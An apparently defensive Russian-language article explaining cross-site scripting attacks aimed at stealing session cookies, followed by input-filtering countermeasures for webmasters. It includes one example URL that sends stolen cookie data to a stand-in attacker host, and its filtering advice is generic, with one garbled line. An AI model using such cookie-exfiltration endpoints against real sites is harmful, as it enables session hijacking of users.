Атаки класса Cross-Site-Scripting


Во многих багтраках часто проскакивают уязвимости класса CSS. Многие люди,
интересующиеся вопросами защиты информации, просто игнорируют данный класс атак.
В данной статье я хочу привлечь их внимание к последствиям, к которым
может привести использование WEB-приложений с ошибками программирования,
а также указать меры противодействия данному классу атак.
Во многих багтраках часто проскакивают уязвимости класса CSS. Многие люди,
интересующиеся вопросами защиты информации, просто игнорируют данный класс атак.
В данной статье я хочу привлечь их внимание к последствиям, к которым
может привести использование WEB-приложений с ошибками программирования,
а также указать меры противодействия данному классу атак.

Cross-Site-Scripting — сценарий на стороне клиента, позволяющий выполнить
клиентский код в пределах ВЕБ-среды пользователя.

Клиентские языки включают в себя:
— VBScript
— DHTML / HTML / XHTML
— javascript
— Java-апплеты
— Flash
— ActiveX
— XML/XSL
— CSS

Целью атаки может служить:
— HTTP-клиент
— WEB-броузер
— Пользователь WEB-службы

Cross-Site-Scripting относится к классу HTTP-атак.
Задача атакующего заключается в том, чтобы модифицировать
введенные данные, которые будут переданы WEB-приложению таким образом,
чтобы заставить его выполнить код на языке HTTP клиента в пределах пользовательской
Web среды, достигающей того же самого уровня доступа и привилегий как основной домен.

Клиентские языки обладают большим количеством способностей для изменения
содержания, структуры и стиля веб-страницы.
Взаимосвязи клиентских языков создают увеличенных уровень доступа в пределах
и вне доступного прикладного интерфейса (Document Object Model (DOM)), что
позволяет читать и изменять данные, а также удаленно выполнять команды на сервере.

Нападение:

Примеров здесь можно привести море. Достаточно зайти на сайты типа BugTraq и
ввести в поиске что-то типа \»CSS\» или \»Cross-Site-Scripting\».

Я же хочу привести в пример cookies, потому как статей про это я читал мало.
Множество WEB-приложений используют cookies, чтобы хранить HTTP состояние
в течение сеанса пользователя. Это встречается часто в форумах, когда для каждого
пользователя создается cookies файл, использующийся для его авторизации.

Ткой сеанс может быть похищен и проанализирован атакующим, далее модифицирован
и применен для вторжения в систему.

Cookies маркированы доменом, от которого они были установлены. Программы Web
просмотра или HTTP клиенты ограничивают просмотр сookies.

Неконтролируемые входящие данные открывают доступ к данным cookie
на домене, таким образом, перехватывая cookie.

То есть атакующий создает программный код, позволяющий забрать cookies
c сервера, после чего, модифицировав их, снова передать в качестве
входного параметра запросом вида:

http://www.hacker.com/cgi-bin/cookie_script.cgi?COOKIE=cookie_data

Привлекательность данного метода заключается в том, что атаку данного класса можно
реализовать разными способами, не оставляя никаких логов в системе.

Борьба с атаками класса Cross-Site-Scripting:

I // Если WEB-приложение допускает ввод HTML-тегов //

Это самый опасный в плане безопасности вариант.
В этом случае необходимо:

— Разрешить только безопасные HTML тэги и атрибуты
— Фильтровать любой ввод javascript/Java/VBScript/ActiveX/Flash
— Фильтровать двойные и одинарные кавычки
— Удалять все нулевые символы

II // Если WEB-приложение не допускает ввод HTML-тегов //

Здесь ситуация менее опасная, однако необходимо:

— Фильтровать все HTML-символы: \»>\» = > > \» <
— Фильтровать двойные и одинарные кавычки
— Удалять все нулевые символы

Статья написана в помощь WEB-мастерам и системным администраторам. Целью статьи
является привлечь их внимание к вопросу обеспечения защиты от атак класса
Cross-Site-Scripting.

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *